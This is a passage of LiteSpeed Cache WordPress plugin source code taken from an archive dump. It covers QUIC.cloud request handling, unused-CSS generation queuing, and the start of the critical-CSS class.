!== $service_tag ) { $msg = __( 'Cloud Error', 'litespeed-cache' ) . ': ' . sprintf( __( 'Please try after %1$s for service %2$s.', 'litespeed-cache' ), Utility::readable_time( $expired, 0, true ), '<code>' . $service_tag . '</code>' ); Admin_Display::error( [ 'cloud_trylater' => $msg ] ); } return false; } } else { // May fail to store to db if db is oc cached/dead/locked/readonly. Need to store to file to prevent from duplicate calls $file_path = $this->_qc_time_file( $service_tag, $timestamp_tag ); if ( file_exists( $file_path ) ) { $last_request = File::read( $file_path ); $expired = (int) $last_request + $expiration_req * 10 - time(); if ( $expired > 0 ) { self::debug( '❌ try [' . $service_tag . '] after ' . $expired . ' seconds' ); return false; } } // For ver check, additional check to prevent frequent calls as old DB ver may be cached if ( self::API_VER === $service_tag ) { $file_path = $this->_qc_time_file( $service_tag ); if ( file_exists( $file_path ) ) { $last_request = File::read( $file_path ); $expired = (int) $last_request + $expiration_req * 10 - time(); if ( $expired > 0 ) { self::debug( '❌❌ Unusual req! try [' . $service_tag . '] after ' . $expired . ' seconds' ); return false; } } } } } if ( in_array( $service_tag, self::$_pub_svc_set, true ) ) { return true; } if ( ! $this->activated() && self::SVC_D_ACTIVATE !== $service_tag ) { Admin_Display::error( Error::msg( 'qc_setup_required' ) ); return false; } return true; } /** * Get QC req ts file path * * @since 7.5 * * @param string $service_tag Service tag. * @param string $type Type: 'last' or 'curr'. * @return string */ private function _qc_time_file( $service_tag, $type = 'last' ) { if ( 'curr' !== $type ) { $type = 'last'; } $legacy_file = LITESPEED_STATIC_DIR . '/qc_' . $type . '_request' . md5( $service_tag ); if ( file_exists( $legacy_file ) ) { wp_delete_file( $legacy_file ); } $service_tag = preg_replace( '/[^a-zA-Z0-9]/', '', $service_tag ); return LITESPEED_STATIC_DIR . '/qc.' . $type . '.' . $service_tag; } /** * Check if a service tag ttl is valid or not * * @since 7.1 * * @param string $service_tag Service tag. * @return int|false Seconds remaining or false if not hot. */ public function service_hot( $service_tag ) { if ( empty( $this->_summary[ 'ttl.' . $service_tag ] ) ) { return false; } $ttl = (int) $this->_summary[ 'ttl.' . $service_tag ] - time(); if ( $ttl <= 0 ) { return false; } return $ttl; } /** * Post data to QUIC.cloud server * * @since 3.0 * @access public * * @param string $service Service name/route. * @param array|bool $data Payload data or false to omit. * @param int|false $time_out Timeout seconds or false for default. * @return mixed Response payload or false on failure. */ public static function post( $service, $data = false, $time_out = false ) { $instance = self::cls(); return $instance->_post( $service, $data, $time_out ); } /** * Post data to cloud server * * @since 3.0 * @access private * * @param string $service Service name/route. * @param array|bool $data Payload data or false to omit. * @param int|false $time_out Timeout seconds or false for default. * @return mixed Response payload or false on failure. */ private function _post( $service, $data = false, $time_out = false ) { $service_tag = $service; if ( ! empty( $data['action'] ) ) { $service_tag .= '-' . $data['action']; } $maybe_cloud = $this->_maybe_cloud( $service_tag ); if ( ! $maybe_cloud || 'svc_hot' === $maybe_cloud ) { self::debug( 'Maybe cloud failed: ' . wp_json_encode( $maybe_cloud ) ); return $maybe_cloud; } $server = $this->detect_cloud( $service ); if ( ! $server ) { return; } $url = $server . '/' . $this->_maybe_queue( $service ); self::debug( 'posting to : ' . $url ); if ( $data ) { $data['service_type'] = $service; // For queue distribution usage } // Encrypt service as signature // $signature_ts = time(); // $sign_data = [ // 'service_tag' => $service_tag, // 'ts' => $signature_ts, // ]; // $data['signature_b64'] = $this->_sign_b64(implode('', $sign_data)); // $data['signature_ts'] = $signature_ts; self::debug( 'data', $data ); $param = [ 'site_url' => site_url(), // Need to use site_url() as WPML case may change home_url() for diff langs (no need to treat as alias for multi langs) 'main_domain' => ! empty( $this->_summary['main_domain'] ) ? $this->_summary['main_domain'] : '', 'wp_pk_b64' => ! empty( $this->_summary['pk_b64'] ) ? $this->_summary['pk_b64'] : '', 'ver' => Core::VER, 'data' => $data, ]; self::save_summary( [ 'curr_request.' . $service_tag => time() ] ); File::save( $this->_qc_time_file( $service_tag, 'curr' ), time(), true ); $response = wp_safe_remote_post( $url, [ 'body' => $param, 'timeout' => $time_out ? $time_out : 30, 'headers' => [ 'Accept' => 'application/json', 'Expect' => '', ], ] ); return $this->_parse_response( $response, $service, $service_tag, $server ); } /** * Parse response JSON * Mark the request successful if the response status is ok * * @since 3.0 * * @param array|mixed $response WP HTTP API response. * @param string $service Service name. * @param string $service_tag Service tag including action. * @param string $server Server URL. * @return array|false Parsed JSON array or false on failure. */ private function _parse_response( $response, $service, $service_tag, $server ) { // If show the error or not if failed $visible_err = self::API_VER !== $service && self::API_NEWS !== $service && self::SVC_D_DASH !== $service; if ( is_wp_error( $response ) ) { $error_message = $response->get_error_message(); self::debug( 'failed to request: ' . $error_message ); if ( $visible_err ) { $msg = esc_html__( 'Failed to request via WordPress', 'litespeed-cache' ) . ': ' . esc_html( $error_message ) . ' [server] ' . esc_html( $server ) . ' [service] ' . esc_html( $service ); Admin_Display::error( $msg ); // Tmp disabled this node from reusing in 1 day if ( empty( $this->_summary['disabled_node'] ) ) { $this->_summary['disabled_node'] = []; } $this->_summary['disabled_node'][ $server ] = time(); self::save_summary(); // Force redetect node self::debug( 'Node error, redetecting node [svc] ' . $service ); $this->detect_cloud( $service, true ); } return false; } $json = \json_decode( $response['body'], true ); if ( ! is_array( $json ) ) { self::debugErr( 'failed to decode response json: ' . $response['body'] ); if ( $visible_err ) { $msg = esc_html__( 'Failed to request via WordPress', 'litespeed-cache' ) . ': ' . esc_html( $response['body'] ) . ' [server] ' . esc_html( $server ) . ' [service] ' . esc_html( $service ); Admin_Display::error( $msg ); // Tmp disabled this node from reusing in 1 day if ( empty( $this->_summary['disabled_node'] ) ) { $this->_summary['disabled_node'] = []; } $this->_summary['disabled_node'][ $server ] = time(); self::save_summary(); // Force redetect node self::debugErr( 'Node error, redetecting node [svc] ' . $service ); $this->detect_cloud( $service, true ); } return false; } // Check and save TTL data if ( ! empty( $json['_ttl'] ) ) { $ttl = (int) $json['_ttl']; self::debug( 'Service TTL to save: ' . $ttl ); if ( $ttl > 0 && $ttl < 86400 ) { self::save_summary([ 'ttl.' . $service_tag => $ttl + time(), ]); } } if ( ! empty( $json['_code'] ) ) { self::debugErr( 'Hit err _code: ' . $json['_code'] ); if ( 'unpulled_images' === $json['_code'] ) { $msg = __( 'Cloud server refused the current request due to unpulled images. Please pull the images first.', 'litespeed-cache' ); Admin_Display::error( $msg ); return false; } if ( 'blocklisted' === $json['_code'] ) { $msg = __( 'Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more.', 'litespeed-cache' ); Admin_Display::error( $msg ); return false; } if ( 'rate_limit' === $json['_code'] ) { self::debugErr( 'Cloud server rate limit exceeded.' ); $msg = __( 'Cloud server refused the current request due to rate limiting. Please try again later.', 'litespeed-cache' ); Admin_Display::error( $msg ); return false; } if ( 'heavy_load' === $json['_code'] || 'redetect_node' === $json['_code'] ) { // Force redetect node self::debugErr( 'Node redetecting node [svc] ' . $service ); Admin_Display::info( __( 'Redetected node', 'litespeed-cache' ) . ': ' . Error::msg( $json['_code'] ) ); $this->detect_cloud( $service, true ); } } if ( ! empty( $json['_503'] ) ) { self::debugErr( 'service 503 unavailable temporarily. ' . $json['_503'] ); $msg = __( 'We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience.', 'litespeed-cache' ); $msg .= ' ' . $json['_503'] . ' [server] ' . esc_html( $server ) . ' [service] ' . esc_html( $service ); Admin_Display::error( $msg ); // Force redetect node self::debugErr( 'Node error, redetecting node [svc] ' . $service ); $this->detect_cloud( $service, true ); return false; } list( $json, $return ) = $this->extract_msg( $json, $service, $server ); if ( $return ) { return false; } $curr_request = $this->_summary[ 'curr_request.' . $service_tag ]; self::save_summary([ 'last_request.' . $service_tag => $curr_request, 'curr_request.' . $service_tag => 0, ]); File::save( $this->_qc_time_file( $service_tag ), $curr_request, true ); File::save( $this->_qc_time_file( $service_tag, 'curr' ), 0, true ); if ( $json ) { self::debug2( 'response ok', $json ); } else { self::debug2( 'response ok' ); } // Only successful request return Array return $json; } /** * Extract msg from json * * @since 5.0 * * @param array $json Response JSON. * @param string $service Service name. * @param string|bool $server Server URL or false. * @param bool $is_callback Whether called from callback context. * @return array Array with [json array, bool should_return_false] */ public function extract_msg( $json, $service, $server = false, $is_callback = false ) { if ( ! empty( $json['_info'] ) ) { self::debug( '_info: ' . $json['_info'] ); $msg = __( 'Message from QUIC.cloud server', 'litespeed-cache' ) . ': ' . $json['_info']; $msg .= $this->_parse_link( $json ); Admin_Display::info( $msg ); unset( $json['_info'] ); } if ( ! empty( $json['_note'] ) ) { self::debug( '_note: ' . $json['_note'] ); $msg = __( 'Message from QUIC.cloud server', 'litespeed-cache' ) . ': ' . $json['_note']; $msg .= $this->_parse_link( $json ); Admin_Display::note( $msg ); unset( $json['_note'] ); } if ( ! empty( $json['_success'] ) ) { self::debug( '_success: ' . $json['_success'] ); $msg = __( 'Good news from QUIC.cloud server', 'litespeed-cache' ) . ': ' . $json['_success']; $msg .= $this->_parse_link( $json ); Admin_Display::success( $msg ); unset( $json['_success'] ); } // Upgrade is required if ( ! empty( $json['_err_req_v'] ) ) { self::debug( '_err_req_v: ' . $json['_err_req_v'] ); $msg = sprintf( __( '%1$s plugin version %2$s required for this action.', 'litespeed-cache' ), Core::NAME, 'v' . $json['_err_req_v'] . '+' ) . ' [server] ' . esc_html( $server ) . ' [service] ' . esc_html( $service ); // Append upgrade link $msg2 = ' ' . GUI::plugin_upgrade_link( Core::NAME, Core::PLUGIN_NAME, $json['_err_req_v'] ); $msg2 .= $this->_parse_link( $json ); Admin_Display::error( $msg . $msg2 ); return [ $json, true ]; } // Parse _carry_on info if ( ! empty( $json['_carry_on'] ) ) { self::debug( 'Carry_on usage', $json['_carry_on'] ); // Store generic info foreach ( [ 'usage', 'promo', 'mini_html', 'partner', '_error', '_info', '_note', '_success' ] as $v ) { if ( isset( $json['_carry_on'][ $v ] ) ) { switch ( $v ) { case 'usage': $usage_svc_tag = in_array( $service, [ self::SVC_CCSS, self::SVC_UCSS, self::SVC_VPI ], true ) ? self::SVC_PAGE_OPTM : $service; $this->_summary[ 'usage.' . $usage_svc_tag ] = $json['_carry_on'][ $v ]; break; case 'promo': if ( empty( $this->_summary[ $v ] ) || ! is_array( $this->_summary[ $v ] ) ) { $this->_summary[ $v ] = []; } $this->_summary[ $v ][] = $json['_carry_on'][ $v ]; break; case 'mini_html': foreach ( $json['_carry_on'][ $v ] as $k2 => $v2 ) { if ( 0 === strpos( $k2, 'ttl.' ) ) { $v2 += time(); } $this->_summary[ $v ][ $k2 ] = $v2; } break; case 'partner': $this->_summary[ $v ] = $json['_carry_on'][ $v ]; break; case '_error': case '_info': case '_note': case '_success': $color_mode = substr( $v, 1 ); $msgs = $json['_carry_on'][ $v ]; Admin_Display::add_unique_notice( $color_mode, $msgs, true ); break; default: break; } } } self::save_summary(); unset( $json['_carry_on'] ); } // Parse general error msg if ( ! $is_callback && ( empty( $json['_res'] ) || 'ok' !== $json['_res'] ) ) { $json_msg = ! empty( $json['_msg'] ) ? $json['_msg'] : 'unknown'; self::debug( '❌ _err: ' . $json_msg, $json ); $str_translated = Error::msg( $json_msg ); $msg = __( 'Failed to communicate with QUIC.cloud server', 'litespeed-cache' ) . ': ' . $str_translated . ' [server] ' . esc_html( $server ) . ' [service] ' . esc_html( $service ); $msg .= $this->_parse_link( $json ); $visible_err = self::API_VER !== $service && self::API_NEWS !== $service && self::SVC_D_DASH !== $service; if ( $visible_err ) { Admin_Display::error( $msg ); } // QC may try auto alias // Store the domain as `err_domains` only for QC auto alias feature if ( 'err_alias' === $json_msg ) { if ( empty( $this->_summary['err_domains'] ) ) { $this->_summary['err_domains'] = []; } $site_url = site_url(); if ( ! array_key_exists( $site_url, $this->_summary['err_domains'] ) ) { $this->_summary['err_domains'][ $site_url ] = time(); } self::save_summary(); } // Site not on QC, reset QC connection registration if ( 'site_not_registered' === $json_msg || 'err_key' === $json_msg ) { $this->_reset_qc_reg(); } return [ $json, true ]; } unset( $json['_res'] ); if ( ! empty( $json['_msg'] ) ) { unset( $json['_msg'] ); } return [ $json, false ]; } /** * Parse _links from json * * @since 1.6.5 * @since 1.6.7 Self clean the parameter * @access private * * @param array $json JSON array (passed by reference). * @return string HTML link string. */ private function _parse_link( &$json ) { $msg = ''; if ( ! empty( $json['_links'] ) ) { foreach ( $json['_links'] as $v ) { $msg .= ' ' . sprintf( '<a href="%s" class="%s" target="_blank">%s</a>', esc_url( $v['link'] ), ! empty( $v['cls'] ) ? esc_attr( $v['cls'] ) : '', esc_html( $v['title'] ) ); } unset( $json['_links'] ); } return $msg; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/ucss.cls.php������������������������������������������������������������0000644�����������������00000040543�15233526476�0014324 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The ucss class. * * @since 5.1 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * UCSS optimization class. * * @since 5.1 */ class UCSS extends Base { const LOG_TAG = '[UCSS]'; const TYPE_GEN = 'gen'; const TYPE_CLEAR_Q = 'clear_q'; /** * Summary data. * * @var array */ protected $_summary; /** * UCSS whitelist selectors. * * @var array */ private $_ucss_whitelist; /** * Queue for UCSS generation. * * @var array */ private $_queue; /** * Init * * @since 3.0 */ public function __construct() { $this->_summary = self::get_summary(); add_filter( 'litespeed_ucss_whitelist', [ $this->cls( 'Data' ), 'load_ucss_whitelist' ] ); } /** * Uniform url tag for ucss usage * * @since 4.7 * * @param string|false $request_url The request URL. * @return string The URL tag. */ public static function get_url_tag( $request_url = false ) { $url_tag = $request_url; if (is_404()) { $url_tag = '404'; } elseif (apply_filters('litespeed_ucss_per_pagetype', false)) { $url_tag = Utility::page_type(); self::debug('litespeed_ucss_per_pagetype filter altered url to ' . $url_tag); } return $url_tag; } /** * Get UCSS path * * @since 4.0 * * @param string $request_url The request URL. * @param bool $dry_run Whether to run in dry mode. * @return string|false The UCSS filename or false. */ public function load( $request_url, $dry_run = false ) { // Check UCSS URI excludes $ucss_exc = apply_filters( 'litespeed_ucss_exc', $this->conf( self::O_OPTM_UCSS_EXC ) ); $hit = $ucss_exc ? Utility::str_hit_array( $request_url, $ucss_exc ) : false; if ( $hit ) { self::debug( 'UCSS bypassed due to UCSS URI Exclude setting: ' . $hit ); Core::comment( 'QUIC.cloud UCSS bypassed by setting' ); return false; } $filepath_prefix = $this->_build_filepath_prefix('ucss'); $url_tag = self::get_url_tag($request_url); $vary = $this->cls('Vary')->finalize_full_varies(); $filename = $this->cls('Data')->load_url_file($url_tag, $vary, 'ucss'); if ($filename) { $static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filename . '.css'; if (file_exists($static_file)) { self::debug2('existing ucss ' . $static_file); // Check if is error comment inside only $tmp = File::read($static_file); if ( '/*' === substr( $tmp, 0, 2 ) && '*/' === substr( trim( $tmp ), -2 ) ) { self::debug2('existing ucss is error only: ' . $tmp); Core::comment('QUIC.cloud UCSS bypassed due to generation error ❌ ' . $filepath_prefix . $filename . '.css'); return false; } Core::comment('QUIC.cloud UCSS loaded ✅ ' . $filepath_prefix . $filename . '.css' ); return $filename . '.css'; } } if ($dry_run) { return false; } Core::comment('QUIC.cloud UCSS in queue'); $uid = get_current_user_id(); $ua = $this->_get_ua(); // Store it for cron $this->_queue = $this->load_queue('ucss'); if (count($this->_queue) > 500) { self::debug('UCSS Queue is full - 500'); return false; } $queue_k = (strlen($vary) > 32 ? md5($vary) : $vary) . ' ' . $url_tag; $this->_queue[ $queue_k ] = [ 'url' => apply_filters( 'litespeed_ucss_url', $request_url ), 'user_agent' => substr( $ua, 0, 200 ), 'is_mobile' => $this->_separate_mobile(), 'is_webp' => $this->cls( 'Media' )->webp_support() ? 1 : 0, 'uid' => $uid, 'vary' => $vary, 'url_tag' => $url_tag, ]; // Current UA will be used to request $this->save_queue('ucss', $this->_queue); self::debug('Added queue_ucss [url_tag] ' . $url_tag . ' [UA] ' . $ua . ' [vary] ' . $vary . ' [uid] ' . $uid); // Prepare cache tag for later purge Tag::add('UCSS.' . md5($queue_k)); return false; } /** * Get User Agent * * @since 5.3 * * @return string The user agent string. */ private function _get_ua() { return ! empty( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : ''; } /** * Add rows to q * * @since 5.3 * * @param array $url_files Array of URL file data. * @return false|void False if queue is full. */ public function add_to_q( $url_files ) { // Store it for cron $this->_queue = $this->load_queue('ucss'); if (count($this->_queue) > 500) { self::debug('UCSS Queue is full - 500'); return false; } $ua = $this->_get_ua(); foreach ($url_files as $url_file) { $vary = $url_file['vary']; $request_url = $url_file['url']; $is_mobile = $url_file['mobile']; $is_webp = $url_file['webp']; $url_tag = self::get_url_tag($request_url); $queue_k = (strlen($vary) > 32 ? md5($vary) : $vary) . ' ' . $url_tag; $q = [ 'url' => apply_filters( 'litespeed_ucss_url', $request_url ), 'user_agent' => substr( $ua, 0, 200 ), 'is_mobile' => $is_mobile, 'is_webp' => $is_webp, 'uid' => false, 'vary' => $vary, 'url_tag' => $url_tag, ]; // Current UA will be used to request self::debug('Added queue_ucss [url_tag] ' . $url_tag . ' [UA] ' . $ua . ' [vary] ' . $vary . ' [uid] false'); $this->_queue[$queue_k] = $q; } $this->save_queue('ucss', $this->_queue); } /** * Generate UCSS * * @since 4.0 * * @param bool $keep_going Whether to continue processing. * @return mixed The cron handler result. */ public static function cron( $keep_going = false ) { $_instance = self::cls(); return $_instance->_cron_handler( $keep_going ); } /** * Handle UCSS cron * * @since 4.2 * * @param bool $keep_going Whether to continue processing. * @return mixed The redirect result or void. */ private function _cron_handler( $keep_going ) { $this->_queue = $this->load_queue( 'ucss' ); if ( empty( $this->_queue ) ) { return; } // For cron, need to check request interval too if ( ! $keep_going ) { if (!empty($this->_summary['curr_request']) && time() - $this->_summary['curr_request'] < 300 && !$this->conf(self::O_DEBUG)) { self::debug('Last request not done'); return; } } $i = 0; foreach ($this->_queue as $k => $v) { if (!empty($v['_status'])) { continue; } self::debug('cron job [tag] ' . $k . ' [url] ' . $v['url'] . ($v['is_mobile'] ? ' 📱 ' : '') . ' [UA] ' . $v['user_agent']); if (!isset($v['is_webp'])) { $v['is_webp'] = false; } ++$i; $res = $this->_send_req($v['url'], $k, $v['uid'], $v['user_agent'], $v['vary'], $v['url_tag'], $v['is_mobile'], $v['is_webp']); if (!$res) { // Status is wrong, drop this this->_queue $this->_queue = $this->load_queue('ucss'); unset($this->_queue[$k]); $this->save_queue('ucss', $this->_queue); if ( ! $keep_going ) { return; } if ( $i > 3 ) { GUI::print_loading( count( $this->_queue ), 'UCSS' ); return Router::self_redirect( Router::ACTION_UCSS, self::TYPE_GEN ); } continue; } // Exit queue if out of quota or service is hot if ( 'out_of_quota' === $res || 'svc_hot' === $res ) { return; } $this->_queue = $this->load_queue( 'ucss' ); $this->_queue[ $k ]['_status'] = 'requested'; $this->save_queue( 'ucss', $this->_queue ); self::debug( 'Saved to queue [k] ' . $k ); // only request first one if ( ! $keep_going ) { return; } if ($i > 3) { GUI::print_loading(count($this->_queue), 'UCSS'); return Router::self_redirect(Router::ACTION_UCSS, self::TYPE_GEN); } } } /** * Send to QC API to generate UCSS * * @since 2.3 * @access private * * @param string $request_url The request URL. * @param string $queue_k The queue key. * @param int|false $uid The user ID. * @param string $user_agent The user agent. * @param string $vary The vary string. * @param string $url_tag The URL tag. * @param bool $is_mobile Whether is mobile. * @param bool $is_webp Whether supports webp. * @return string|bool|null The result status. */ private function _send_req( $request_url, $queue_k, $uid, $user_agent, $vary, $url_tag, $is_mobile, $is_webp ) { // Check if has credit to push or not $err = false; $allowance = $this->cls('Cloud')->allowance(Cloud::SVC_UCSS, $err); if (!$allowance) { self::debug('❌ No credit: ' . $err); $err && Admin_Display::error(Error::msg($err)); return 'out_of_quota'; } set_time_limit(120); // Update css request status $this->_summary['curr_request'] = time(); self::save_summary(); // Gather guest HTML to send $html = $this->cls('CSS')->prepare_html($request_url, $user_agent, $uid); if (!$html) { return false; } // Parse HTML to gather all CSS content before requesting $css = false; list(, $html) = $this->prepare_css($html, $is_webp, true); // Use this to drop CSS from HTML as we don't need those CSS to generate UCSS $filename = $this->cls('Data')->load_url_file($url_tag, $vary, 'css'); $filepath_prefix = $this->_build_filepath_prefix('css'); $static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filename . '.css'; self::debug('Checking combined file ' . $static_file); if (file_exists($static_file)) { $css = File::read($static_file); } if (!$css) { self::debug('❌ No combined css'); return false; } $data = [ 'url' => $request_url, 'queue_k' => $queue_k, 'user_agent' => $user_agent, 'is_mobile' => $is_mobile ? 1 : 0, // todo:compatible w/ tablet 'is_webp' => $is_webp ? 1 : 0, 'html' => $html, 'css' => $css, ]; if (!isset($this->_ucss_whitelist)) { $this->_ucss_whitelist = $this->_filter_whitelist(); } $data['whitelist'] = $this->_ucss_whitelist; self::debug('Generating: ', $data); $json = Cloud::post(Cloud::SVC_UCSS, $data, 30); if (!is_array($json)) { return $json; } // Old version compatibility if (empty($json['status'])) { if (!empty($json['ucss'])) { $this->_save_con('ucss', $json['ucss'], $queue_k, $is_mobile, $is_webp); } // Delete the row return false; } // Unknown status, remove this line if ( 'queued' !== $json['status'] ) { return false; } // Save summary data $this->_summary['last_spent'] = time() - $this->_summary['curr_request']; $this->_summary['last_request'] = $this->_summary['curr_request']; $this->_summary['curr_request'] = 0; self::save_summary(); return true; } /** * Save UCSS content * * @since 4.2 * * @param string $type The content type. * @param string $css The CSS content. * @param string $queue_k The queue key. * @param bool $is_mobile Whether is mobile. * @param bool $is_webp Whether supports webp. */ private function _save_con( $type, $css, $queue_k, $is_mobile, $is_webp ) { // Add filters $css = apply_filters('litespeed_' . $type, $css, $queue_k); // Sanitize: CSS must not contain HTML tags $css = wp_strip_all_tags( $css ); self::debug2('con: ', $css); if ( '/*' === substr( $css, 0, 2 ) && '*/' === substr( $css, -2 ) ) { self::debug('❌ empty ' . $type . ' [content] ' . $css); // continue; // Save the error info too } // Write to file $filecon_md5 = md5($css); $filepath_prefix = $this->_build_filepath_prefix($type); $static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filecon_md5 . '.css'; File::save($static_file, $css, true); $url_tag = $this->_queue[$queue_k]['url_tag']; $vary = $this->_queue[$queue_k]['vary']; self::debug2("Save URL to file [file] $static_file [vary] $vary"); $this->cls('Data')->save_url($url_tag, $vary, $type, $filecon_md5, dirname($static_file), $is_mobile, $is_webp); Purge::add(strtoupper($type) . '.' . md5($queue_k)); } /** * Prepare CSS from HTML for CCSS generation only. UCSS will used combined CSS directly. * Prepare refined HTML for both CCSS and UCSS. * * @since 3.4.3 * * @param string $html The HTML content. * @param bool $is_webp Whether supports webp. * @param bool $dryrun Whether to run in dry mode. * @return array Array of CSS and HTML. */ public function prepare_css( $html, $is_webp = false, $dryrun = false ) { $css = ''; preg_match_all('#<link ([^>]+)/?>|<style([^>]*)>([^<]+)</style>#isU', $html, $matches, PREG_SET_ORDER); foreach ($matches as $match) { $debug_info = ''; if (strpos($match[0], '<link') === 0) { $attrs = Utility::parse_attr($match[1]); if (empty($attrs['rel'])) { continue; } if ( 'stylesheet' !== $attrs['rel'] ) { if ( 'preload' !== $attrs['rel'] || empty( $attrs['as'] ) || 'style' !== $attrs['as'] ) { continue; } } if (!empty($attrs['media']) && strpos($attrs['media'], 'print') !== false) { continue; } if (empty($attrs['href'])) { continue; } // Check Google fonts hit if (strpos($attrs['href'], 'fonts.googleapis.com') !== false) { $html = str_replace($match[0], '', $html); continue; } $debug_info = $attrs['href']; // Load CSS content if (!$dryrun) { // Dryrun will not load CSS but just drop them $con = $this->cls('Optimizer')->load_file($attrs['href']); if (!$con) { continue; } } else { $con = ''; } } else { // Inline style $attrs = Utility::parse_attr($match[2]); if (!empty($attrs['media']) && strpos($attrs['media'], 'print') !== false) { continue; } Debug2::debug2('[CSS] Load inline CSS ' . substr($match[3], 0, 100) . '...', $attrs); $con = $match[3]; $debug_info = '__INLINE__'; } $con = Optimizer::minify_css($con); if ($is_webp && $this->cls('Media')->webp_support()) { $con = $this->cls('Media')->replace_background_webp($con); } if ( ! empty( $attrs['media'] ) && 'all' !== $attrs['media'] ) { $con = '@media ' . $attrs['media'] . '{' . $con . "}\n"; } else { $con = $con . "\n"; } $con = '/* ' . $debug_info . ' */' . $con; $css .= $con; $html = str_replace($match[0], '', $html); } return [ $css, $html ]; } /** * Filter the comment content, add quotes to selector from whitelist. Return the json * * @since 3.3 */ private function _filter_whitelist() { $whitelist = []; $list = apply_filters('litespeed_ucss_whitelist', $this->conf(self::O_OPTM_UCSS_SELECTOR_WHITELIST)); foreach ($list as $k => $v) { if (substr($v, 0, 2) === '//') { continue; } $whitelist[] = $v; } return $whitelist; } /** * Notify finished from server * * @since 5.1 */ public function notify() { $post_data = \json_decode( file_get_contents( 'php://input' ), true ); if ( is_null( $post_data ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- This is a callback from QUIC.cloud, verified by extract_msg() $post_data = $_POST; } self::debug('notify() data', $post_data); $this->_queue = $this->load_queue('ucss'); list($post_data) = $this->cls('Cloud')->extract_msg($post_data, 'ucss'); $notified_data = $post_data['data']; if (empty($notified_data) || !is_array($notified_data)) { self::debug('❌ notify exit: no notified data'); return Cloud::err('no notified data'); } // Check if its in queue or not $valid_i = 0; foreach ($notified_data as $v) { if (empty($v['request_url'])) { self::debug('❌ notify bypass: no request_url', $v); continue; } if (empty($v['queue_k'])) { self::debug('❌ notify bypass: no queue_k', $v); continue; } if (empty($this->_queue[$v['queue_k']])) { self::debug('❌ notify bypass: no this queue [q_k]' . $v['queue_k']); continue; } // Save data if (!empty($v['data_ucss'])) { $is_mobile = $this->_queue[$v['queue_k']]['is_mobile']; $is_webp = $this->_queue[$v['queue_k']]['is_webp']; $this->_save_con('ucss', $v['data_ucss'], $v['queue_k'], $is_mobile, $is_webp); ++$valid_i; } unset($this->_queue[$v['queue_k']]); self::debug('notify data handled, unset queue [q_k] ' . $v['queue_k']); } $this->save_queue('ucss', $this->_queue); self::debug('notified'); return Cloud::ok( [ 'count' => $valid_i ] ); } /** * Handle all request actions from main cls * * @since 2.3 * @access public */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_GEN: self::cron(true); break; case self::TYPE_CLEAR_Q: $this->clear_q('ucss'); break; default: break; } Admin::redirect(); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/css.cls.php�������������������������������������������������������������0000644�����������������00000043430�15233526476�0014135 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Optimize CSS handler. * * @package LiteSpeed * @since 2.3 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Optimize CSS handler class. */ class CSS extends Base { const LOG_TAG = '[CSS]'; const TYPE_GEN_CCSS = 'gen_ccss'; const TYPE_CLEAR_Q_CCSS = 'clear_q_ccss'; /** * Summary cache. * * @var array */ protected $_summary; /** * Cached CCSS whitelist. * * @var array|null */ private $_ccss_whitelist; /** * Request queue. * * @var array */ private $_queue; /** * Init. * * @since 3.0 */ public function __construct() { $this->_summary = self::get_summary(); add_filter( 'litespeed_ccss_whitelist', [ $this->cls( 'Data' ), 'load_ccss_whitelist' ] ); } /** * HTML lazyload CSS. * * @since 4.0 * @return string */ public function prepare_html_lazy() { return '<style>' . implode( ',', $this->conf( self::O_OPTM_HTML_LAZY ) ) . '{content-visibility:auto;contain-intrinsic-size:1px 1000px;}</style>'; } /** * Output critical CSS. * * @since 1.3 * @access public * @return string|null */ public function prepare_ccss() { // Get critical css for current page // Note: need to consider mobile $rules = $this->_ccss(); if ( ! $rules ) { return null; } $error_tag = ''; if ( substr( $rules, 0, 2 ) === '/*' && substr( $rules, -2 ) === '*/' ) { Core::comment( 'QUIC.cloud CCSS bypassed due to generation error ❌' ); $error_tag = ' data-error="failed to generate"'; } // Append default critical css $rules .= $this->conf( self::O_OPTM_CCSS_CON ); return '<style id="litespeed-ccss"' . $error_tag . '>' . $rules . '</style>'; } /** * Generate CCSS url tag. * * @since 4.0 * @param string $request_url Current request URL. * @return string */ private function _gen_ccss_file_tag( $request_url ) { if ( is_404() ) { return '404'; } if ( $this->conf( self::O_OPTM_CCSS_PER_URL ) ) { return $request_url; } $sep_uri = $this->conf( self::O_OPTM_CCSS_SEP_URI ); $hit = false; if ( $sep_uri ) { $hit = Utility::str_hit_array( $request_url, $sep_uri ); } if ( $sep_uri && $hit ) { Debug2::debug( '[CCSS] Separate CCSS due to separate URI setting: ' . $hit ); return $request_url; } $pt = Utility::page_type(); $sep_pt = $this->conf( self::O_OPTM_CCSS_SEP_POSTTYPE ); if ( in_array( $pt, $sep_pt, true ) ) { Debug2::debug( '[CCSS] Separate CCSS due to posttype setting: ' . $pt ); return $request_url; } // Per posttype return $pt; } /** * The critical css content of the current page. * * @since 2.3 * @return string|null */ private function _ccss() { global $wp; // get current request url $permalink_structure = get_option( 'permalink_structure' ); if ( ! empty( $permalink_structure ) ) { $request_url = trailingslashit( home_url( $wp->request ) ); } else { $qs_add = $wp->query_string ? '?' . (string) $wp->query_string : '' ; $request_url = home_url( $wp->request ) . $qs_add; } $filepath_prefix = $this->_build_filepath_prefix( 'ccss' ); $url_tag = $this->_gen_ccss_file_tag( $request_url ); $vary = $this->cls( 'Vary' )->finalize_full_varies(); $filename = $this->cls( 'Data' )->load_url_file( $url_tag, $vary, 'ccss' ); if 